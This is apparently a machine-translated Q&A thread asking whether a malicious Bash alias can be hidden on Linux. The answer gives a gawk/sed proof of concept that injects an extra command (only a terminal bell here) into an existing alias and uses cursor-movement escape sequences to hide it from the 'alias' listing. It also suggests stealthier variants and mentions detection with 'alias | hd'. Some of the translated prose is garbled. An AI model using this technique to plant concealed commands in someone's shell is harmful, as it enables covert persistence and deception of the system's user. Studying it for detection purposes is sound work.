Czy można ukryć złośliwy alias w Bash w systemie Linux?

9

Czy można ukryć istnienie złośliwego aliasu w systemie Bash w systemie Linux i uruchomić go bez wiedzy użytkownika?

Wstrzymano do odwołania.
źródło

Odpowiedzi:

13

Można to zrobić, dodając istniejący alias do złośliwego i używając ruchu kursora, aby go ukryć, jeśli aliaspolecenie jest używane do wyświetlania definicji aliasów. Nie jest to w pełni niezawodna metoda, ale przez jakiś czas może pozostać niewykryta. Przesuwanie aliasprzez hdpokazuje, czy w aliasach są jakieś sekwencje specjalne (ruchy kursora). Oto dowód koncepcji, w jaki sposób złośliwe polecenie może zostać wstawione do aliasu:

alias | gawk 'BEGIN {
        FS = "[ =\047]"
        db = "\\"; sp = db " "; amp = db "&"
        sq= "\047"; bell = "\007"; esc = "\033"
    } 
    NR == 3 { len1 = length($2) }
    NR == 4 {
        alias = $2
        orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
        orig = gensub(" ", db sp, "g", orig)
    }
    END {
        hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
        for(i=1; i<len1; i++) {hide = hide esc "[C"}
        cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
    system(cmd)
    }'
  • W sedmodyfikuje polecenie plik o nazwie „aliasów” na swoim miejscu - prawdziwy scenariusz tego typu pójdzie za gardło i modyfikować prawdziwy skrypt tak złośliwy alias zostanie uaktywniona następnym razem to wykonane.
  • Złośliwa część tego przykładu po prostu dzwoni dzwonkiem terminala, abyś wiedział, że działa.
  • Polecenie, które jest pierwotnie aliasowane, zostanie wykonane z zawartością hideargumentu, więc możliwe jest, że możesz otrzymać błąd podobny do tego zgłoszonego w tym pytaniu . Może być możliwe odwrócenie oryginalnej i złośliwej części, aby na to wpłynąć, chociaż zakłóciłoby to przekazywanie argumentów do aliasu. W powyższym skrypcie podjęto próbę oznaczenia końca argumentu za pomocą --.
  • Zamiast łączenia oryginalnych i złośliwych części z &&, można jedna rura do następnego i dokonać złośliwy skrypt (przedstawioną powyżej, przez proste echopolecenia) funkcjonować jako stdindo stdoutpass-through albo zmodyfikować dane, jak to się dzieje w poprzek lub ukryć jego istnienie ponadto, nie zakłócając innych przekierowań
  • Inną możliwością byłoby zamiast tego zamieszczenie oryginalnego aliasu w złośliwym skrypcie, który mógłby usunąć ciąg ruchu kursora z listy argumentów i przekazać resztę do oryginału.
  • Dowolnie wybrałem rekordy 3 i 4, bardziej inteligentny kod może celować w określone aliasy, ale muszą one znajdować się obok siebie (lub ruch kursora może być bardziej złożony).
  • hideCiąg może być zmodyfikowany tak, aby obejmować inny ruch kursora i teksty oryginalne alias więc aliaspolecenie wydaje się pokazać niemodyfikowanych alias zamiast ukrywając go wraz ze złośliwym części.
  • Aby wypróbować go tak, jak napisano, musisz mieć co najmniej cztery aktywne aliasy, uruchom ten skrypt, a następnie źródłowy plik wynikowy . aliases. Następnie możesz spróbować użyć dotkniętego aliasu i zobaczyć, jak to będzie wyglądać alias|hd.
  • Można to bez wątpienia przepisać na sto różnych sposobów - wszystko lepiej.
  • Jak realistyczny jest ten rodzaj zagrożenia? Nie mam pojęcia. Ale jeśli mogę to zrobić ...
Wstrzymano do odwołania.
źródło